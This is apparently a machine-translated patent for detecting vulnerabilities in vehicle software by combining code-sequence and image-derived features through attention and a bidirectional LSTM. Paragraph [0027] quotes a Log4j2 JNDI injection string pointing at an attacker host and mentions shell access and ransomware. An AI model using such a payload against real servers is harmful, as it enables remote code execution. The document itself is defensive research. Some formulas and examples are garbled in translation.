Vehicle information safety detection method and system

Abstract

The invention discloses a vehicle information security detection method and system, and relates to the technical field of vehicle network security. The method comprises the following steps: firstly, acquiring a source code file of to-be-detected vehicle software information, preprocessing and marking to obtain an instruction sequence set, respectively extracting digital features from the instruction sequence set to form a sequence feature matrix and structured features to form a graph feature matrix, and fusing the two features by means of a multi-head attention model to obtain a multi-head attention model; and inputting the fused features into a bidirectional LSTM model to obtain a software vulnerability probability value, and finally comparing the software vulnerability probability value with a threshold to obtain a detection result. According to the method, codes of different languages are converted into a unified mathematical representation and graph feature representation form through code data preprocessing and multi-modal feature extraction, then feature fusion is carried out, vulnerability information in software can be captured more comprehensively and accurately, and therefore the detection accuracy is improved.

Description

TECHNICAL FIELD

[0001] The application belongs to the technical field of vehicle network security, and particularly relates to a vehicle information security detection method and system. BACKGROUND

[0002] With the rapid development of intelligent networked automobile technology, vehicles have evolved from traditional mechanical devices into highly integrated intelligent mobile platforms, and the complexity of their software systems is increasing day by day. Vehicle software is not only responsible for basic functions such as driving control and infotainment, but also involves core links such as automatic driving decision and vehicle networking communication. Once there is a security vulnerability, it may lead to vehicle loss of control, privacy leakage, and even threats to personal safety. Therefore, vehicle information security detection, especially software vulnerability detection, has become a key link to ensure the safety of intelligent networked automobiles. Traditional software vulnerability detection methods usually design feature extraction logic according to the syntax rules of a specific language, but the syntax rules of different programming languages have essential differences, such as symbol and keyword differences.

[0003] Patent CN107886000A discloses a software vulnerability detection method, a hierarchical response method, and a software vulnerability detection system. The software vulnerability detection method constructs a software control flow behavior set through static analysis technology, inserts the feature value of each judgment block and the verification code of the calculated verification value into the corresponding software code of the judgment block during software execution, obtains the real-time verification value of each judgment block, and compares and verifies it with the software control flow behavior feature set in real time to output the software vulnerability detection result. It can monitor software behavior in real time with low performance loss, accurately and efficiently detect abnormal control flow caused by program attacks, and locate the abnormal occurrence position. The hierarchical response method takes a hierarchical emergency response scheme according to software behavior after the occurrence of abnormal control flow, enhances the security of software and services, and is suitable for deployment in actual production environments. However, in actual applications, vehicle software often contains multiple programming languages. This patent does not consider that vulnerability detection is only designed for feature extraction logic according to the syntax rules of a specific language, making it difficult to further improve the accuracy of detection. SUMMARY

[0004] The purpose of the present application is to solve the problem of low detection accuracy, and a vehicle information security detection method and system are proposed.

[0005] In the first aspect of the present application, a vehicle information security detection method is first proposed, which comprises: obtaining the source code file of the vehicle software information to be detected; performing a preprocessing marking operation on the code in the source code file to obtain an instruction sequence set; extracting digital features from the instruction sequence set to obtain a sequence feature matrix; extracting structured features from the instruction sequence set to obtain a graph feature matrix; fusing the sequence feature matrix and the graph feature matrix through a multi-head attention model to obtain a fused feature; substituting the fused feature into a bidirectional LSTM model to obtain a software vulnerability probability value; comparing the software vulnerability probability value with a threshold value to obtain a detection result.

[0006] Optionally, a sliding window of a preset length is used to traverse the code of the source code file; the sliding window contains a focal window; If the sliding window contains vulnerable code, the focal window is overlaid on the vulnerable code and dynamically expanded to obtain a marked block; the start and end positions of the focal window are delimited by code separators; the vulnerable code contains a core component of a vulnerability feature; If the distance between the marked block and the code block adjacent to the marked block does not exceed a preset distance threshold, the code block adjacent to the marked block is recorded as a marked block; All the marked blocks are arranged in order to obtain an instruction sequence set.

[0007] Optionally, code element parsing is performed on the instruction sequences in the instruction sequence set to obtain an element sequence composed of code elements; Each element in the element sequence is converted through vector embedding by a Word2Vec model to obtain a fixed-length numerical sequence vector; The numerical sequence vectors are combined in order to obtain a sequence feature matrix.

[0008] Optionally, normalization alignment is performed on the instruction sequence set to obtain a first instruction sequence set; The first instruction sequences in the first instruction sequence set are reserved for core information and image conversion to obtain a feature image set; Convolutional pooling is performed on the feature images in the feature image set to obtain a first feature image; Adaptive pooling is performed on the first feature image to obtain a feature comprehensive vector; Full connection is performed on the feature comprehensive vector and function activation is performed to obtain a priority level; The comprehensive feature vector is processed according to the optimization level to obtain a standard graph feature vector; The standard graph feature vectors are combined in order to obtain a graph feature matrix.

[0009] Optionally, the sequence feature matrix is used as a query matrix, and the graph feature matrix is used as a key matrix and a value matrix, respectively; The query matrix, the key matrix and the value matrix are respectively subjected to a plurality of different linear transformation matrices to obtain h sub-space query matrices, sub-space key matrices and sub-space value matrices; h is the number of attention heads; An attention weight of each attention head is calculated by a preset formula based on the sub-space query matrix, the sub-space key matrix and the sub-space value matrix. All the attention weights are spliced and linearly transformed to obtain a fusion feature.

[0010] In a second aspect of the embodiment of the present application, a vehicle information security detection system is provided, comprising: A source code file module is configured to acquire a source code file of vehicle software information to be detected; A preprocessing module is configured to perform a preprocessing marking operation on the codes in the source code file to obtain an instruction sequence set; A sequence feature matrix generation module is configured to extract digital features from the instruction sequence set to obtain a sequence feature matrix; A graph feature matrix generation module is configured to extract structured features from the instruction sequence set to obtain a graph feature matrix; A fusion feature generation module is configured to fuse the sequence feature matrix and the graph feature matrix by a multi-head attention model to obtain a fusion feature; A vulnerability probability value generation module is configured to input the fusion feature into a bidirectional LSTM model to obtain a software vulnerability probability value; A detection result module is configured to compare the software vulnerability probability value with a threshold to obtain a detection result.

[0011] Optionally, the preprocessing module comprises: A traversal module is configured to perform a traversal operation on the codes of the source code file by using a preset length sliding window; the sliding window comprises a focal window; A marked block generation module is configured to, if the sliding window contains vulnerable codes, cover the focal window with the vulnerable codes and perform dynamic expansion to obtain a marked block; the start and end positions of the focal window are delimited by code separators; the vulnerable codes contain core components of vulnerability features; A re-marking module is configured to, if the distance between the marked block and an adjacent code block is not more than a preset distance threshold, mark the adjacent code block of the marked block as a marked block; An instruction sequence set generation module is configured to arrange all the marked blocks in sequence to obtain an instruction sequence set.

[0012] Optionally, the sequence feature matrix generation module comprises: An element sequence generation module is configured to perform code element parsing on the instruction sequences in the instruction sequence set to obtain an element sequence composed of code elements. A digital sequence vector generation module is configured to perform vector embedding conversion on each element in the element sequence by using a Word2Vec model to obtain a fixed-length digital sequence vector. A sequence feature matrix generation module is configured to combine the digital sequence vectors in sequence to obtain a sequence feature matrix.

[0013] Optionally, the graph feature matrix generation module comprises: A first instruction sequence set generation module is configured to perform a normalization alignment operation on the instruction sequence set to obtain a first instruction sequence set. A feature image set generation module is configured to retain core information of the first instruction sequences in the first instruction sequence set and perform image conversion to obtain a feature image set. A first feature image generation module is configured to perform convolution pooling operation on the feature images in the feature image set to obtain a first feature image. A feature comprehensive vector generation module is configured to perform adaptive pooling operation on the first feature image to obtain a feature comprehensive vector. A priority level generation module is configured to perform full connection on the feature comprehensive vector and function activation operation to obtain a priority level. A standard graph feature vector generation module is configured to process the comprehensive feature vector according to the optimization level to obtain a standard graph feature vector. A graph feature matrix generation module is configured to combine the standard graph feature vectors in sequence to obtain a graph feature matrix.

[0014] Optionally, the fusion feature generation module comprises: A preparation module is configured to take the sequence feature matrix as a query matrix, and take the graph feature matrix as a key matrix and a value matrix respectively. A subspace matrix generation module is configured to obtain h subspace query matrices, subspace key matrices and subspace value matrices by using multiple different linear transformation matrices on the query matrix, the key matrix and the value matrix respectively; h is the number of attention heads. An attention weight generation module is configured to calculate the attention weight of each attention head by using a preset formula on the subspace query matrix, the subspace key matrix and the subspace value matrix. A fusion feature generation module is configured to splice all the attention weights and obtain fusion features by linear transformation.

[0015] The beneficial effects of this invention are as follows: The source code file of the vehicle software information to be detected is obtained; the code in the source code file is preprocessed and marked to obtain an instruction sequence set; digital features are extracted from the instruction sequence set to obtain a sequence feature matrix; structured features are extracted from the instruction sequence set to obtain a graph feature matrix; the sequence feature matrix and graph feature matrix are fused using a multi-head attention model to obtain a fused feature; the fused feature is then substituted into a bidirectional LSTM model to obtain a software vulnerability probability value; the software vulnerability probability value is compared with a threshold to obtain the detection result. This invention proposes a method for detecting vehicle information security. First, the source code file of the vehicle software information to be detected is obtained, and after preprocessing and marking, an instruction sequence set is obtained. Then, digital features are extracted from this set to form a sequence feature matrix and structured features to form a graph feature matrix. Subsequently, these two types of features are fused using a multi-head attention model. The fused feature is then input into a bidirectional LSTM model to obtain a software vulnerability probability value. Finally, the detection result is obtained by comparing it with a threshold. This method, through code data preprocessing and multimodal feature extraction, converts code from different languages ​​into a unified mathematical and graph feature representation, and then performs feature fusion, which can more comprehensively and accurately capture vulnerability information in the software, thereby improving the accuracy of detection. Attached Figure Description

[0016] The invention will now be further described with reference to the accompanying drawings.

[0017] Figure 1 A flowchart illustrating a vehicle information security detection method provided in an embodiment of the present invention; Figure 2 This is a framework diagram of a vehicle information security detection system provided in an embodiment of the present invention. Detailed Implementation

[0018] The technical solutions of the present invention will be clearly and completely described below with reference to the accompanying drawings of the embodiments of the present invention. Obviously, the described embodiments are only some embodiments of the present invention, and not all embodiments.

[0019] Based on the embodiments of the present invention, all other embodiments obtained by those skilled in the art without creative effort are within the scope of protection of the present invention.

[0020] This invention provides a method for detecting vehicle information security. See also... Figure 1 , Figure 1 A flowchart illustrating a vehicle information security detection method provided in an embodiment of the present invention. The method includes the following steps: S101, Obtain the source code file containing the software information of the vehicle to be tested; S102, perform preprocessing and marking operations on the code in the source code file to obtain an instruction sequence set; S103, extracting digital features of the instruction sequence set to obtain a sequence feature matrix; S104, extracting structured features of the instruction sequence set to obtain a graph feature matrix; S105, fusing the sequence feature matrix and the graph feature matrix through a multi-head attention model to obtain fused features; S106, inputting the fused features into a bidirectional LSTM model to obtain a software vulnerability probability value; S107, comparing the software vulnerability probability value with a threshold value to obtain a detection result.

[0021] The method provided by the embodiment of the application can more comprehensively and accurately capture the vulnerability information in the software by combining the digital features and the structured features and by using the advantages of the multi-head attention model and the bidirectional LSTM model, and the effectiveness and accuracy of the detection are improved.

[0022] In an implementation manner, the fused features are respectively input into the LSTM model from the start end in a forward direction and from the end end in a reverse direction, and the bidirectional LSTM can capture more comprehensive context dependency relationships in the sequence by means of the bidirectional processing manner, so that more accurate detection results are obtained.

[0023] In an implementation manner, if the software vulnerability probability value is greater than or equal to the threshold value, it is determined that the vehicle detection result is unsafe; if the software vulnerability probability value is less than the threshold value, it is determined that the vehicle detection result is safe.

[0024] In an implementation, through the synergy of multi-modal feature fusion and deep learning, a complete closed loop from code analysis to vulnerability identification is formed. The system first converts the source code into a machine-processable format through preprocessing, then extracts sequence features and structured features to capture the timing dependence and syntax structure of the code, and then dynamically fuses the two features using a multi-head attention mechanism to enhance the perception of key code patterns. A bidirectional LSTM model further mines long-distance semantic associations, and finally outputs high-precision detection results through threshold judgment. The core advantage of this architecture is its systematicness: multi-dimensional feature extraction covers different aspects of the code, deep learning models automatically learn vulnerability patterns to avoid the limitations of rule hardcoding, and the attention mechanism enhances the interpretability and adaptability of the model. The overall scheme significantly improves the ability to identify complex vulnerabilities while maintaining the efficiency of automated detection, and is particularly suitable for vehicle systems with strict security requirements and complex code structures, providing reliable protection for the software security of intelligent and networked vehicles.

[0025] In one embodiment, a preset length sliding window is used to traverse the code of the source code file; the sliding window contains a focus window; If the sliding window contains vulnerable code, the focus window covers the vulnerable code and is dynamically expanded to obtain a marked block; the start and end positions of the focus window are delimited by code separators; the vulnerable code contains the core components of vulnerability features; If the distance between the marked block and the code block adjacent to it does not exceed a preset distance threshold, the code block adjacent to the marked block is recorded as a marked block; All marked blocks are arranged in order to obtain a set of instruction sequences.

[0026] In an implementation, the start and end positions of the focus window are delimited by code separators, which ensures that the code statements within the focus window are complete.

[0027] In an implementation, vulnerabilities usually have explicit feature structures such as dangerous functions, unsafe parameter passing, and missing permission control, and the primary standard for assessing vulnerability is that the window contains the core components of vulnerability features; for example, Apache Log4j2 is a Java-based logging tool, and its core component is Log4j2 itself. This component has a JNDI injection vulnerability with vulnerability features related to dangerous functions; when the program logs user input data, if the log content contains a malicious JNDI expression such as ${jndi:ldap: / / attacker.com / a}, Log4j2 will send a request to an external LDAP server through the JNDI interface, and attackers can use this vulnerability to execute arbitrary code on the target server, such as bouncing a shell or deploying encryption ransomware.

[0028] In an implementation, if the distance between the marked block and the code block adjacent to the marked block does not exceed a preset distance threshold, the code block adjacent to the marked block is marked as the marked block; wherein the preset distance threshold is set by a technician.

[0029] In an implementation, through the cooperative positioning, dynamic expansion and context association of the sliding window and the focus window, accurate capture and semantic perception of the vulnerability features are formed. The system first traverses the code with a preset sliding window, accurately locates the core components of the vulnerable code using the focus window, and ensures the semantic integrity of the marked block by defining the boundary with code separators. The dynamic expansion mechanism enables the marked block to cover the context code related to the vulnerability, and the merging of the adjacent code blocks controlled by the distance threshold further captures the potential vulnerability trigger conditions, forming a complete vulnerability semantic chain. The advantage of this hierarchical marking strategy lies in its systematicness: it not only avoids the context missing problem of traditional fixed windows, but also preserves the complete semantic environment of vulnerability features through semantic boundary identification and dynamic expansion. The finally generated instruction sequence set not only contains the core vulnerability components, but also integrates the necessary context dependencies, providing a structured and semantically coherent data foundation for subsequent feature extraction, significantly improving the recognition ability of the vulnerability detection model for complex vulnerability patterns.

[0030] In an embodiment, code element parsing is performed on the instruction sequences in the instruction sequence set to obtain an element sequence composed of code elements; Each element in the element sequence is converted into a fixed-length numerical sequence vector through vector embedding by a Word2Vec model; The numerical sequence vectors are combined in order to obtain a sequence feature matrix.

[0031] In an implementation, the process of code element parsing, for example, the code if user_id==0:login() is split into {if, user_id, ==, 0, :, login, (, ),}.

[0032] In an implementation, the process of converting each element into a fixed-length numerical sequence vector through vector embedding, for example, if the corresponding numerical [0.2, 0.5, 0.1, 0.3], login may correspond to [0.8, 0.3, 0.9, 0.2], and each element is converted into a long numerical array, which contains the semantic information of this line of code.

[0033] In an implementation, the steps are formed by code element parsing, semantic vectorization and matrix construction, forming an effective mapping mechanism from symbols to values, providing structured semantic input for subsequent deep learning models. The system first parses the instruction sequence into a code element sequence, retaining the syntax structure and semantic units of the code, and then uses the Word2Vec model to map these discrete symbols to a continuous vector space, capturing the potential semantic associations of the code by learning the co-occurrence relationship between elements. The fixed-length vector representation solves the problem of varying code length, ensuring input dimension consistency. The final constructed sequence feature matrix not only retains the original order information of the code, but also converts the programming semantics into numerical features that can be processed by the model, enabling subsequent analysis based on semantic similarity rather than simple syntax matching.

[0034] In one embodiment, the instruction sequence set is normalized and aligned to obtain a first instruction sequence set; The core information in the first instruction sequence in the first instruction sequence set is retained and image conversion is performed to obtain a feature image set; The feature image in the feature image set is subjected to convolution pooling operation to obtain a first feature image; The first feature image is subjected to adaptive pooling operation to obtain a feature comprehensive vector; The feature comprehensive vector is subjected to full connection and function activation operation to obtain a priority level; The comprehensive feature vector is processed according to the optimization level to obtain a standard graph feature vector; The standard graph feature vectors are combined in order to obtain a graph feature matrix.

[0035] In an implementation, the mnemonic of the instruction sequence is normalized and aligned; the original characters of the mnemonic are retained, such as push, add, ensuring that the semantics of the operation type are not lost; the length of the mnemonic is filled with a filler to a preset maximum mnemonic length, realizing the uniformity of the length of all mnemonics, facilitating the consistency of the size when converted to an image later; the operator of the instruction sequence is normalized and aligned; different types of registers, addresses, immediate numbers, etc. of the operand are subjected to differential processing, which removes variable interference and retains functional features, for example, the original name of the special-purpose register is retained, such as pc, sp, because it is closely related to the program execution environment and compilation configuration. Finally, the number and length of the operands are aligned, if the number of operands exceeds the preset maximum length of the operand, the key operand is retained and the number feature is recorded; all operands are padded with 0 to the preset operand length, ensuring the uniformity of the format; the preset maximum length of the operand is set by the technician.

[0036] In an implementation, the format of the first instruction sequence in the first instruction sequence set is unified, and the total length of each instruction is fixed as the preset maximum mnemonic length + the preset maximum operand length * the maximum number of operands. Through the above processing, the variable factors such as memory addresses and specific values are removed, and the semantic information related to the optimization level such as the register type and the operation type is retained, thereby providing a structured and semantic-rich input for subsequent conversion into a grayscale image.

[0037] In an implementation, each normalized instruction character corresponds to an ASCII code value, which is mapped to the grayscale value of a pixel.

[0038] In an implementation, the input image is first subjected to two convolution operations, each followed by a ReLU activation function, to preliminarily extract local features; and after the convolution, the feature map is compressed through maximum pooling to retain key information and reduce the amount of calculation.

[0039] In an implementation, maximum adaptive pooling and average adaptive pooling are used simultaneously to extract the most significant features and overall trend features, respectively; the size of the pooling window can be dynamically adjusted to capture the correlation between instructions at different distances; multiple pooling windows of different sizes are set to extract features from different perspectives to obtain more comprehensive optimization level-related features. The multi-scale feature maps after pooling are again subjected to convolution and activation, flattened into one-dimensional vectors, and then spliced to form a comprehensive feature vector; traditional CNNs usually use a single-scale pooling window, which is difficult to capture the semantic correlation between binary instruction sequences at different distances. The adaptive pooling operation uses maximum adaptive pooling and average adaptive pooling simultaneously and sets multiple output sizes, which can extract significant features and overall trend features. This multi-scale fusion strategy enables the model to more comprehensively capture optimization level-related features, and is particularly suitable for binary instructions, which are complex in semantics and variable in length.

[0040] In an implementation, the feature comprehensive vector is input to a three-layer fully connected layer, the first two layers are activated by ReLU, and the last layer is output by the Softmax function, thereby obtaining the optimization level; and the standard graph feature vector is obtained by processing the optimization level comprehensive feature vector.

[0041] In an implementation, the code structure is converted into an efficient feature representation through a multi-stage process. Normalization alignment ensures a unified representation of the instruction sequence, eliminating format differences; image conversion maps the code structure to a two-dimensional space, preserving structural information while taking advantage of computer vision techniques; convolution pooling automatically extracts local feature patterns and reduces dimensions; adaptive pooling generates fixed-length vectors, facilitating subsequent processing; full connection and activation operations introduce nonlinear transformations, learning complex correlations between features and outputting priority weights; finally, standard graph feature vectors are generated through weight processing and combined into a matrix. The advantage of this process lies in its systematicity: converting code structure into a visual feature space, automatically discovering important patterns through deep learning, and highlighting key features through a priority mechanism. The generated graph feature matrix not only preserves the structural semantics of the code but also has good discrimination ability and computational efficiency, providing a strong structured feature basis for subsequent vulnerability detection.

[0042] In one embodiment, the sequence feature matrix is taken as a query matrix, and the graph feature matrix is taken as a key matrix and a value matrix respectively; The query matrix, the key matrix, and the value matrix are respectively obtained through a plurality of different linear transformation matrices to obtain h subspace query matrices, subspace key matrices, and subspace value matrices; h is the number of attention heads; The attention weights of each attention head are calculated through a preset formula based on the subspace query matrices, the subspace key matrices, and the subspace value matrices; All attention weights are spliced and fused features are obtained through linear transformation.

[0043] In an implementation, the sequence feature matrix is taken as a query matrix Q, representing the code semantic information to be analyzed; the graph feature matrix is taken as a key matrix K and a value matrix V, representing the structured relationship information of the code; Q, K, and V are respectively obtained through a plurality of different linear transformation matrices to obtain a plurality of subspaces Qi, Ki, and Vi of Q, K, and V, where i=1, 2, …, h represents the index of the attention head, and h is the number of attention heads; the attention weight of each attention head is calculated independently, and the attention output is calculated through the formula head i =softmax( ) k is the dimension of the matrix k, used for scaling to stabilize the gradient.

[0044] ​In an implementation, the limitations of traditional feature fusion methods are broken through by cross-modal feature interaction and subspace parallel processing. By creatively taking the sequence feature matrix as a query and the graph feature matrix as a key and value, an asymmetric attention mechanism is constructed, enabling the model to retrieve relevant features from the code structure based on timing information, forming a bidirectional semantic guide. Multilinear transformation projects the features into multiple subspaces, each focusing on capturing code semantic associations of different granularity. This parallel attention mechanism not only enhances the model's ability to express complex patterns, but also reveals the dynamic dependency between sequence and graph structures through attention weights. The interpretability of attention weights provides intuitive evidence for vulnerability location, while existing methods often lack explicit semantic correspondence. This fusion strategy enables the model to adaptively integrate the complementary information of the two features, significantly improving the detection capability of context-sensitive vulnerabilities and providing a new multi-modal fusion paradigm for code analysis.

[0045] Based on the same inventive concept, the embodiments of the present application also provide a vehicle information security detection system. Referring to Figure 2 , Figure 2 A structural schematic diagram of a vehicle information security detection system provided by the embodiments of the present application comprises: An acquisition module of a source code file is configured to acquire a source code file of vehicle software information to be detected; A preprocessing module is configured to perform a preprocessing marking operation on the codes in the source code file to obtain an instruction sequence set; A sequence feature matrix generation module is configured to extract digital features from the instruction sequence set to obtain a sequence feature matrix; A graph feature matrix generation module is configured to extract structural features from the instruction sequence set to obtain a graph feature matrix; A fusion feature generation module is configured to fuse the sequence feature matrix and the graph feature matrix through a multi-head attention model to obtain a fusion feature; A vulnerability probability value generation module is configured to input the fusion feature into a bidirectional LSTM model to obtain a software vulnerability probability value; A detection result module is configured to compare the software vulnerability probability value with a threshold to obtain a detection result.

[0046] Based on the vehicle information security detection system provided by the embodiment of the application, the source code file of the software information of the vehicle to be detected is acquired first, and an instruction sequence set is obtained through preprocessing marking, then digital features are extracted from the instruction sequence set to form a sequence feature matrix and structural features are extracted to form a graph feature matrix, subsequently, the two kinds of features are fused by means of a multi-head attention model, the fused features are input into a bidirectional LSTM model to obtain a software vulnerability probability value, and finally, the detection result is obtained by comparing the software vulnerability probability value with a threshold value; through code data preprocessing and multi-modal feature extraction, the codes in different languages are converted into unified mathematical representation and graph feature representation forms, and feature fusion is performed, so that the vulnerability information in the software can be captured more comprehensively and accurately, and the accuracy of detection is improved.

[0047] In one embodiment, the preprocessing module comprises: The traversal module is configured to perform traversal operation on the code of the source code file by using a sliding window with a preset length; the sliding window comprises a focal window; The marked block generation module is configured to, if the sliding window contains vulnerable code, cover the focal window on the vulnerable code and perform dynamic expansion to obtain a marked block; the start and end positions of the focal window are delimited by code separators; the vulnerable code contains core components of vulnerability features; The re-marking module is configured to, if the distance between the marked block and the code block adjacent to the marked block does not exceed a preset distance threshold, mark the code block adjacent to the marked block as the marked block; The instruction sequence set generation module is configured to arrange all the marked blocks in sequence to obtain an instruction sequence set.

[0048] In one embodiment, the sequence feature matrix generation module comprises: The element sequence generation module is configured to perform code element analysis on the instruction sequences in the instruction sequence set to obtain an element sequence composed of code elements; The digital sequence vector generation module is configured to convert each element in the element sequence into a vector by using a Word2Vec model to obtain a digital sequence vector with a fixed length; The sequence feature matrix generation module is configured to combine the digital sequence vectors in sequence to obtain a sequence feature matrix.

[0049] In one embodiment, the graph feature matrix generation module comprises: The first instruction sequence set generation module is configured to perform normalization alignment operation on the instruction sequence set to obtain a first instruction sequence set; The feature image set generation module is configured to retain core information of the first instruction sequences in the first instruction sequence set and perform image conversion to obtain a feature image set; The first feature image generation module is configured to perform convolution pooling operation on the feature images in the feature image set to obtain a first feature image. a feature comprehensive vector generation module configured to perform an adaptive pooling operation on the first feature image to obtain a feature comprehensive vector; a priority level generation module configured to perform a full connection on the feature comprehensive vector and perform a function activation operation to obtain a priority level; a standard graph feature vector generation module configured to process the comprehensive feature vector according to the optimization level to obtain a standard graph feature vector; a graph feature matrix generation module configured to combine the standard graph feature vectors in sequence to obtain a graph feature matrix.

[0050] In an embodiment, the fusion feature generation module comprises: a preparation module configured to take the sequence feature matrix as a query matrix, and take the graph feature matrix as a key matrix and a value matrix, respectively; a subspace matrix generation module configured to obtain h subspace query matrices, subspace key matrices and subspace value matrices by using a plurality of different linear transformation matrices on the query matrix, the key matrix and the value matrix, respectively; h is the number of attention heads; an attention weight generation module configured to calculate the attention weight of each attention head by using a preset formula on the subspace query matrix, the subspace key matrix and the subspace value matrix; a fusion feature generation module configured to splice all the attention weights and obtain a fusion feature by linear transformation.

[0051] The above describes one embodiment of the present application in detail, but the content is only the preferred embodiment of the present application, and cannot be considered as limiting the scope of the present application. Any equivalent changes and improvements made according to the scope of the present application should still belong to the scope of the present application.

Claims

1. A detection method of vehicle information security, characterized by, The method comprises: acquiring a source code file of vehicle software to be detected; performing a preprocessing marking operation on the code in the source code file to obtain an instruction sequence set; extracting digital features from the instruction sequence set to obtain a sequence feature matrix; extracting structural features from the instruction sequence set to obtain a graph feature matrix; fusing the sequence feature matrix and the graph feature matrix through a multi-head attention model to obtain fused features; substituting the fused features into a bidirectional LSTM model to obtain a software vulnerability probability value; comparing the software vulnerability probability value with a threshold value to obtain a detection result.

2. The method of claim 1, wherein The preprocessing marking operation on the code in the source code file to obtain an instruction sequence set comprises: performing a traversal operation on the code in the source code file using a preset length sliding window; the sliding window comprises a focal window; if the sliding window contains vulnerable code, covering the focal window with the vulnerable code and performing dynamic expansion to obtain a marked block; the start and end positions of the focal window are delimited by code separators; the vulnerable code contains a core component of vulnerability features; if the distance between the marked block and the code block adjacent to the marked block does not exceed a preset distance threshold, the code block adjacent to the marked block is recorded as a marked block; arranging all the marked blocks in sequence to obtain an instruction sequence set.

3. The method of claim 1, wherein the method further comprises: The extraction of digital features from the instruction sequence set to obtain a sequence feature matrix comprises: performing code element analysis on the instruction sequences in the instruction sequence set to obtain an element sequence composed of code elements; performing vector embedding conversion on each element in the element sequence through a Word2Vec model to obtain a fixed-length digital sequence vector; combining the digital sequence vectors in sequence to obtain a sequence feature matrix.

4. The method of claim 1, wherein, The extraction of structural features from the instruction sequence set to obtain a graph feature matrix comprises: performing a normalization alignment operation on the instruction sequence set to obtain a first instruction sequence set; retaining core information from the first instruction sequences in the first instruction sequence set and performing image conversion to obtain a feature image set; performing convolution pooling operation on the feature images in the feature image set to obtain a first feature image; performing adaptive pooling operation on the first feature image to obtain a feature comprehensive vector; performing full connection and function activation operation on the feature comprehensive vector to obtain a priority level; processing the comprehensive feature vector according to the optimization level to obtain a standard graph feature vector; combining the standard graph feature vectors in sequence to obtain a graph feature matrix.

5. The method of claim 1, wherein, The fusion of the sequence feature matrix and the graph feature matrix through a multi-head attention model to obtain fused features comprises: taking the sequence feature matrix as a query matrix, and taking the graph feature matrix as a key matrix and a value matrix respectively; performing linear transformation on the query matrix, the key matrix and the value matrix through a plurality of different linear transformation matrices to obtain h subspace query matrices, subspace key matrices and subspace value matrices; h is the number of attention heads; calculating the attention weights of each attention head through a preset formula. The attention weight is spliced, and a fusion feature is obtained through a linear transformation.

6. A detection system for vehicle information security, characterized by The system comprises: An acquisition source code file module is configured to acquire a source code file of vehicle software information to be detected. A preprocessing module is configured to perform a preprocessing marking operation on the code in the source code file to obtain an instruction sequence set. A sequence feature matrix generation module is configured to extract digital features from the instruction sequence set to obtain a sequence feature matrix. A graph feature matrix generation module is configured to extract structural features from the instruction sequence set to obtain a graph feature matrix. A fusion feature generation module is configured to fuse the sequence feature matrix and the graph feature matrix through a multi-head attention model to obtain a fusion feature. A vulnerability probability value generation module is configured to substitute the fusion feature into a bidirectional LSTM model to obtain a software vulnerability probability value. A detection result module is configured to compare the software vulnerability probability value with a threshold to obtain a detection result.

7. The detection system for vehicle information security according to claim 6, characterized in that, The preprocessing module comprises: A traversal module is configured to perform a traversal operation on the code in the source code file using a preset length sliding window; the sliding window comprises a focal window. A marked block generation module is configured to, if the sliding window comprises vulnerable code, cover the focal window with the vulnerable code and perform dynamic expansion to obtain a marked block; the start and end positions of the focal window are delimited by a code delimiter; the vulnerable code comprises a core component of a vulnerability feature. A re-marking module is configured to, if the distance between the marked block and the code block adjacent to the marked block does not exceed a preset distance threshold, mark the code block adjacent to the marked block as a marked block. An instruction sequence set generation module is configured to arrange all the marked blocks in sequence to obtain an instruction sequence set.

8. The detection system for vehicle information security according to claim 6, characterized in that, The sequence feature matrix generation module comprises: An element sequence generation module is configured to perform code element analysis on the instruction sequences in the instruction sequence set to obtain an element sequence composed of code elements. A digital sequence vector generation module is configured to perform vector embedding conversion on each element in the element sequence through a Word2Vec model to obtain a fixed-length digital sequence vector. A sequence feature matrix generation module is configured to combine the digital sequence vectors in sequence to obtain a sequence feature matrix.

9. The detection system for vehicle information security according to claim 6, characterized in that, The graph feature matrix generation module comprises: A first instruction sequence set generation module is configured to perform a normalization alignment operation on the instruction sequence set to obtain a first instruction sequence set. A feature image set generation module is configured to retain core information of the first instruction sequences in the first instruction sequence set and perform image conversion to obtain a feature image set. A first feature image generation module is configured to perform convolution pooling operation on the feature images in the feature image set to obtain a first feature image. A feature comprehensive vector generation module is configured to perform adaptive pooling operation on the first feature image to obtain a feature comprehensive vector. A priority level generation module is configured to perform full connection on the feature comprehensive vector and perform function activation operation to obtain a priority level. A standard graph feature vector generation module is configured to process the comprehensive feature vector according to the optimization level to obtain a standard graph feature vector. The graph feature matrix generation module is configured to combine the standard graph feature vectors in sequence to obtain a graph feature matrix.

10. The detection system for vehicle information security according to claim 6, wherein The fusion feature generation module comprises: The preparation module is configured to take the sequence feature matrix as a query matrix, and take the graph feature matrix as a key matrix and a value matrix respectively. The subspace matrix generation module is configured to obtain h subspace query matrices, subspace key matrices and subspace value matrices respectively by using different linear transformation matrices on the query matrix, the key matrix and the value matrix. h is the number of attention heads. The attention weight generation module is configured to calculate the attention weight of each attention head by using a preset formula on the subspace query matrix, the subspace key matrix and the subspace value matrix. The fusion feature generation module is configured to splice all the attention weights and obtain the fusion feature by linear transformation.

Images